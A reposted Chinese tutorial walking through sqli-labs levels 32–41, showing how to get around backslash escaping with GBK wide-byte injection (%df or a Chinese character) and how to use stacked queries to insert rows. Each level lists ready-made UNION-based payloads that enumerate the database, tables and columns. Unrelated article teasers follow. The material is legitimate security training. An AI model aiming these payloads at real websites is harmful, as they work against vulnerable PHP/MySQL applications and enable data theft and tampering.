以sqlilabs靶场为例,讲解SQL注入攻击原理【32-41关】

news2024/11/24 16:56:28

【Less-32】

尝试使用各种注入发现无论是单引号还是双引号都被\转义成了字符串,导致SQL无法注入。

解决方案:宽字节注入。原理:利用数据库和页面编码不同的问题,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,数据库处理的时候是根据GBK去处理的,这样就能实现SQL注入。

第一步获取数据库名:

# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

第二步:获取数据表名

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa

第三步:获取数据表的字段

其中的数据表名因为用引号,所以直接用%df会报错,可以将数据表名转换为十六进制(0x)后使用

# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

结果为:

【Less-33】

源码分析:

故两题的解法是一模一样的,具体如下:

#判断字段数量
?id=1%df' order by 3-- aaa


# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-34】

尝试输入万能账户 : ' or 1=1 -- aaa

分析得知,和上一题类似,被反斜杠转义了,使用%df尝试逃逸出引号。

此时发现%df对于post方式无效,因为%df是url编码,在输入框中输入%df会被当作普通的字符,此时尝试用一些汉字代替,因为有些汉字的编码(比如 汉)为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和相编码为一个两字节绕过,从而单引号逃逸。

解决方案:

#判断字段数量
汉' order by 2 -- aaa


# 获取数据库名
汉' union select 1,database() -- aaa

# 获取数据表名
汉' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-35】

Get方式,修改url尝试使用单引号、双引号、括号加单双引号SQL注入。

可以得出添加的单引号被反斜杠转义了,尝试用%df,依旧报错。

此时再来尝试去除引号,直接添加SQL语句,执行,发现是可行的。说明没有闭合,SQL语句在后面直接可以执行。

解决方案:

#判断字段数量
?id=1 order by 3


# 获取数据库名
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()


# 获取数据表字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 

【Less-36】

源码分析:

解题过程和Less-33一样,原理还是反斜杠转义了,只需要添加%df 即刻解决。

#判断字段数量
?id=1%df' order by 3-- aaa


# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-37】

通过测试,和Less-34的注入方法相同,使用汉字来实现SQL注入,解题步骤如下:

#判断字段数量
汉' order by 2 -- aaa


# 获取数据库名
汉' union select 1,database() -- aaa

# 获取数据表名
汉' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-38】

源码分析:

mysqli_multi_query()方法可以同时执行多个用分号隔开的SQL语句,容易导致堆叠注入。

可以在后面用分号隔开,实现往数据库中插入数据

?id=1';insert users(username,password)values('test','test') -- aa

数据插入:

解题步骤:

#判断字段数量
?id=1' order by 3 -- aaa


# 获取数据库名
?id=-1'union select 1,2,database() -- aaa

# 获取数据表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-39】

和上一题一样,只是没有引号闭合,直接注入。

可以在url中使用insert into 往数据库中添加数据。

解题步骤:

#判断字段数量
?id=1 order by 3 


# 获取数据库名,不再使用union
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 


# 获取数据表字段
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'

【Less-40】

与上面两题类似,只是闭合的形式变成了 ')。

 解题步骤:

#判断字段数量
?id=1') order by 3 -- aaa


# 获取数据库名,不再使用union
?id=-1') union select 1,2,database() -- aaa

# 获取数据表名
?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段
?id=-1')  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-41】

和Less-39一样,没有引号,直接注入。

解题步骤:

#判断字段数量
?id=1 order by 3 


# 获取数据库名,不再使用union
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 


# 获取数据表字段
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1804013.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

简单通用的系统安装、备份、还原方法,支持 ARM 系统【Ventory+FirePE+DiskGenius】

文章目录 0. 简介1. 制作 Ventory 启动盘1.1. 下载 Ventory1.2. 制作 Ventory 启动盘 2. 添加 FirePE 等系统镜像到启动盘2.1. 下载 FirePE2.2. 导出 .iso 系统镜像文件2.3. .iso 系统镜像文件添加至启动盘 3. 启动 FirePE 等系统镜像3.1. 在 bios 中选择启动盘启动3.2. 启动系…

How to: Add and Customize Toolbar Skin Selectors

You can add skin selectors to a toolbar (BarManager) and Ribbon Control to allow users to choose skins at runtime. 将皮肤选择器添加到工具栏 At design time, click the [Add] button in the toolbar, and select a skin selector from the Skin Item sub-menu. 以下…

无人机EasyDSS推拉流视频直播技术在农业植保中的精准应用与展望

随着科技的飞速发展,无人机在农业领域的应用越来越广泛,特别是在农业植保方面,无人机以其独特的优势,为农业生产带来了革命性的改变。 无人机在农业植保中的应用主要体现在两个方面:提高工作效率和精准喷洒药物。在以…

AI 边缘计算平台 - 6 TOPS 低功耗 RK3576

RK3576 是瑞芯微第二代 8nm 高性能 AIOT 平台,CPU 采用八核大小核构架(4A72 2.2GHz 4A53 1.8GHz),以及一个 M0 协处理器。其 CPU 算力高达 58K DMIPS,足以应对各种复杂计算任务。搭载 Mali-G52 MC3 GPU,14…

Rocky linux 搭建DNS主从服务器+keepalived实现高可用

接上两篇文章,这篇文章跟上两篇没有直接关系。 第一篇:linux rocky 搭建DNS服务和禁止AD域控DNS,做到独立DNS并加域_linux 域控-CSDN博客文章浏览阅读519次,点赞20次,收藏10次。使用linux rocky 搭建DNS服务&#xff…

Elasticsearch之深入聚合查询

1、正排索引 1.1 正排索引(doc values )和倒排索引 概念:从广义来说,doc values 本质上是一个序列化的 列式存储 。列式存储 适用于聚合、排序、脚本等操作,所有的数字、地理坐标、日期、IP 和不分词( no…

RERCS系统开发实战案例-Part01 快速启动面板创建新功能启动面板

需求背景:RERCS系统设计合同应收付比例调整界面,目的为合同与应收付款调整关联,保证数据的完整性与准确性。 步骤① 参数化快速启动板事务码 :LPD_CUST_PARAM 选择对应的角色与实例 可以看到系统中的快速启动面板菜单中已有的功能…

人员身份级的数据中心机房作业随工

电信运营商的数据中心机房作为承载各类业务系统的物理基础,其运维安全直接关系到业务的连续性和数据的安全性。传统的机房管理方式依赖人工审核和监督,存在效率低下、安全隐患多等问题。因此,通过综合运用物联网、大数据分析和人工智能技术&a…

Linux系统信息的查看

目录 前言一、系统环境二、查看系统IP地址信息2.1 ifconfig命令2.2 ip address命令 三、查看系统端口信息3.1 nmap命令3.2 netstat命令 四、查看系统进程信息4.1 ps命令4.2 kill命令 五、查看系统监控信息5.1 top命令5.2 df命令iostat命令5.3 sar命令 总结 前言 本篇文章介绍查…

【TB作品】msp430f5529单片机,dht22,温湿度传感器,OLED显示屏

使用DHT22温湿度传感器和OLED显示屏的单片机项目 博客名称 利用MSP430单片机读取DHT22并显示温湿度 作品功能 本项目利用MSP430单片机读取DHT22温湿度传感器的数据,并将温湿度信息显示在OLED显示屏上。通过这个项目,您可以学习如何使用单片机与传感器…

Linux的目录结构介绍和环境变量的设置

目录 前言一、系统环境二、Linux的目录结构2.1 Linux目录结构介绍2.2 Linux文件的路径描述2.2.1 绝对路径2.2.2 相对路径2.2.3 特殊的路径符 三、Linux的环境变量设置3.1 环境变量PATH3.2 关于$符的使用3.3 环境变量的设置 总结 前言 本篇文章介绍Linux的目录结构和环境变量的…

重构某测试站点

一、计算校验值 校验值结果: 文件名称:培训用centos.rar,文件大小:1,335,759,953,MD5:534EC38CDA7DA2196C84AC8F6092514B,SHA1:FD35D86A27A007AE10872980C48653A110DF6067&#xf…

Leetcode学习

回文数 反转一半数字 第一个想法是将数字转换为字符串,并检查字符串是否为回文。 但是,这需要额外的非常量空间来创建问题描述中所不允许的字符串。 第二个想法是将数字本身反转,然后将反转的数字与原始数字比较,如果它们是相同…

在windows10 安装子系统linux(WSL安装方式)

在 windows 10 平台采用了WSL安装方式安装linux子系统 1 查找自己想要安装的linux子系统 wsl --list --online 2 在线安装 个人用Debian比较多,这里选择Debian,如下图: wsl --install -d Debian 安装过程中有一步要求输入用户名与密码&…

【YOLOV8】3.实例分割-训练自己的数据集

Yolo8出来一段时间了,包含了目标检测、实例分割、人体姿态预测、旋转目标检测、图像分类等功能,所以想花点时间总结记录一下这几个功能的使用方法和自定义数据集需要注意的一些问题,本篇是第三篇,实例分割功能,自定义数据集的训练。 YOLO(You Only Look Once)是一种流行的…

clickhouse(十五、存储优化实践)

文章目录 背景问题定位优化方式排序键设计写入顺序压缩算法 DoubleDeltaLowCardinality避免使用Nullable 总结 背景 clickhouse集群容量告警,项目中某些表占据大量的存储空间,借此机会对ck的存储优化进行实践学习,并通过多种方式测试验证优化…

如何在Windows 11中恢复丢失的快速访问菜单?这里提供解决办法

序言 在电脑的“快速访问”菜单中找不到固定的项目?或者,整个菜单对你来说已经消失了吗?无论哪种方式,你都可以强制你的电脑恢复菜单并显示其中的所有项目。以下是如何在你的Windows 11电脑上做到这一点。 将文件资源管理器设置为打开到主页 当你在文件资源管理器的左侧…

本地文件复制到虚拟机VMWare报错 Thre was an error getting infomation about以及关于如何搭建linux虚拟机

解决方式 直接远程ssh连接,用ftp上传即可 关于如何搭建linux虚拟机系统 https://juejin.cn/post/7250009145915719740?searchId2024060409134616191B1350EC8E073921 需要寄快递的朋友,这个小程序发快递只要五块钱哦~

探索 Noisee AI 的奇妙世界与变现之旅

日赚800,利用淘宝/闲鱼进行AI音乐售卖实操 如何让AI生成自己喜欢的歌曲-AI音乐创作的正确方式 抖音主播/电商人员有福了,利用Suno创作产品宣传,让产品动起来-小米Su7 用sunoAI写粤语歌的方法,博主已经亲自实践可行 五音不全也…

若依 ruoyi-vue element-ui el-cascader 级联选择器 选择任意一级选项,去掉单选按钮,选中点击后隐藏

Cascader 级联选择器 选择任意一级选项&#xff0c;去掉单选按钮。 这兄弟文章写的可以&#xff0c;查了一堆文章&#xff0c;基本搞完才发现。 官方的例子不支持选中后自动关闭&#xff0c;要点击旁边空白&#xff0c;并且单选框太小了。 <el-form-item label"所属地…